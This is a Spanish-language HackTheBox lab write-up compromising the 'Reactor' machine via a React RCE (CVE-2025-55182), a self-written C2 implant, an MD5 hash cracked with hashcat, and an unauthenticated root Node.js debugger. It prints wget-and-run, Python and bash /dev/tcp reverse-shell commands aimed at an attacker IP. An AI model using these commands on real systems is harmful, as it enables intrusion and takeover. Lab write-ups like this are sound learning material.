Resumen de Reactor - HackTheBox
Antes de continuar
Si te interesan los pentesting/operaciones de Red Team o ciberseguridad ofensiva, ten en cuenta que leer este post puede hacerte spoiler de la máquina Reactor. Si planeas completar esta máquina, por favor no sigas leyendo.
- Dificultad: Fácil (Competitivo)
- Sistema operativo: Debian 13
Primero configuraré algo para que hackear sea más fácil para mí. En lugar de usar la dirección IP de la máquina, asociaré esa dirección IP a un nombre, así que cada vez que quiera interactuar con la máquina, en vez de escribir "10.129.245.214", a partir de ahora escribiré "reactor.htb"

Reconocimiento
Seguidamente procedí con un escaneo de puertos que me indicará qué software se está ejecutando en el servidor. Para ello usé el comando nmap con los siguientes parámetros:
sudo nmap -p- -sS -T5 --min-rate 5000 -vvv -Pn -o scan.txt reactor.htb
Como podemos ver tenemos los puertos 22 y 3000 activos. Eñ puerto 22 suele estar asociado a SSH, pero el puerto 3000 no tenemos ni idea de para qué está ahí. Para observar qué contiene haré un escaneo detallado de nmap específicamente a esos dos puertos usando el siguiente comando.
sudo nmap -p22,3000 -sC -sV -T5 --min-rate 5000 -vvv -Pn -o scan_detailed.txt reactor.htb
Al finalizar el comando, obtenemos la siguiente información:

Como podemos ver, se trata de un servicio HTTP que corre en el puerto 3000. Es por ello que accederemos a la web usando la siguiente URL:
http://reactor.htb:3000/
Analizando la web con tñecnicas de fuzzing y discovery de subdominios y directorios web no hallamos nada, sin embargo, observando las tecnologías que usa la web, me percato de lo siguiente:

Como podemos ver, la página usa React y Next.js. Echando un vistazo a la web, literalmente, no hallamos nada. No hay ni un solo enlace, ni nada que indique que la página sea interactiva, por lo que voy a revisar los archivos Javascript de la web que se cargan en el navegador seleccinando Click derecho + Inspeccionar en el navegador y avanzando hasta el apartado "Debugger". Seleccionando el primer archivo que aparece cargado en el navegador ordenados por órden alfabético:

Y buscando palabras clave como "version" me di cuenta de lo siguiente:

La versión de React es la 19.0.0. Buscando más información en Internet, encuentro lo siguiente:

Se trata de una vulnerabilidad de Ejecución remota de comandos, lo que indica que podemos enviar órdenes a la máquina para que ejecute lo que nos venga en gana, tomando control de la máquina. Sin embargo, esto no significa infiltrarse en el sistema. Esa será nuestra nueva meta.
Explotación
Traté de explotar esta vulnerabilidad con un POC (Prueba de concepto) para ganar una Shell reversa, pero no funcionó por que la vulnerabilidad que posee React no permite caracteres especiales, tal y como aparece aquí abajo:

Por lo que intentaré infectar al servidor con algún malware que me permita ejecutar comandos directamente en el sistema, y no a través de React.
Preparación y ejecución del servidor C2
Para este apartado de la explotación usaré una utilidad que creé yo mismo. Una consola interactiva (bastante delicada eso sí) que ejecuta comandos a través del sistema usando la función popen, de modo que imita a la perfección a una terminal. Estoy hablando de Intruder.
En el repositorio vienen las instrucciones para instalar el servidor, por lo que no debería de haber ningún problema poniéndolo en punto (y si lo hay, por favor, dejádmelo saber escribiéndome un correo o un comentario en este post).
Lo primero que hice fue poner el malware a punto especificando la dirección IP del servidor alq ue se iba a conectar (mi servidor para ser exactos).

Una vez hecho esto, iniciamos el servidor de comando y control.
python3 server_intruder.py
Y subimos el malware a la máquina víctima. Para ello, crearé un servidor web desde el cual se podrá descargar el malware que me dará control de la máquina y me permitirá ejecutar comandos directamente en el sistema como si estuviera en una terminal.
python3 -m http.server
Y con la herramienta que enseñamos anteriormente, ejecutaremos un comando en React que nos permita descargar el malware a través de nuestro servidor web a la máquina víctima.
python3 CVE-2025-55182/poc.py http://reactor.htb:3000/ "wget http://10.10.16.46:8000/intruder.py"
Podemos verificar esto mismo observando la línea de comandos donde tenemos el servidor web ejecutándose.

Ahora, ejecutaremos el malware, y aunque de error, el socket ha sido abierto y la máquina víctima ha podido conectarse al servidor C2.
python3 CVE-2025-55182/poc.py http://reactor.htb:3000/ "python3 intruder.py"

Como podemos ver, tenemos al agente conectado. Seguidamente procederé a abrir una shell usando el servidor C2 para obtener una shell reversa usando Python.
!intrude 0
Y ahora abriré un puerto que esté escuchando conexiones entrantes para la reverse shell.
nc -nvlp 4444
Por último, ejecutaré la reverse shell del servidor C2:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.16.46",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
Y finalmente obtenemos una conexión con el servidor.

Acceso al sistema
Lo primero que me encuentro al hacer un "ls" es algo bastante interesante. Podemos observar que hay un archivo reactor.db, que es una base de datos SQLite3. Si leemos los contenidos de la base de datos, nos topamos con algo bastante interesante.
cat reactor.db
Dentro de la base de datos aparecen 2 tablas. Una de ellas contiene a un usuario llamado engineer con su respectivo identificador y un hash (39d97110eafe2a9a68639812cd271e8e) de una contraseña. Casualmente, si observamos el fichero /etc/hosts que contiene los usuarios del sistema, nos damos cuenta de que también tenemos un usuario llamado engineer, por lo que no es descabellado pensar que comparten la misma contraseña en el sistema y en la base de datos.
cat /etc/passwd
Por lo que obtendremos el hash y lo pasaremos por hashcat para obtener el valor de la contraseña que se almacena en la base de datos (por cierto, el hash es de tipo MD5).
hashcat -m 0 -a 0 39d97110eafe2a9a68639812cd271e8e /usr/share/wordlists/rockyou.txt
Ahora solo deberemos conectarnos al servidor a través de SSH aprovechando la contraseña que hemos obtenido, y como podemos ver, efectivamente, se trata de la misma contraseña la que usa el usuario de la base de datos de la cual está usando el usuario del sistema.

Escalada de privilegios
Para poder realizar la escalada de privilegios y alcanzar el usuario con mayor permisos en el sistema (root), usaré un script que facilita la escalada de privilegios en entornos Linux llamado linpeas. Se encarga de buscar componentes del sistema operativo que sean vulnerables (como permisos indebidos, configuraciones mal realizadas o versiones vulnerables).

Después de un escaneo, encontré que existe un proceso que está ejecutando el usuario root en el puerto 9229. Es posible acceder a este puerto con el depurador de Node.js.

Al abrir el depurador, debido a que el proceso ha sido iniciado por el usuario root, el proceso mantiene los permisos de ese usuario, lo que significa que ese proceso tiene permisos para interactuar con el sistema sin restricciones (y además, el socket no requiere de autenticación para poder acceder, por lo que podemos). Es por ello que aprovecharemos para usar ese proceso como puerta trasera, abriendo otra Shell reversa (esta vez con los máximos privilegios del sistema, es decir, como root) para poder obtener todos los permisos del sistema.
exec("process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.16.46/4444 0>&1\"').toString()")
Y por último, solo nos quedaría conectarnos a través del puerto en escucha, verificar que somos root y obtener la flag.
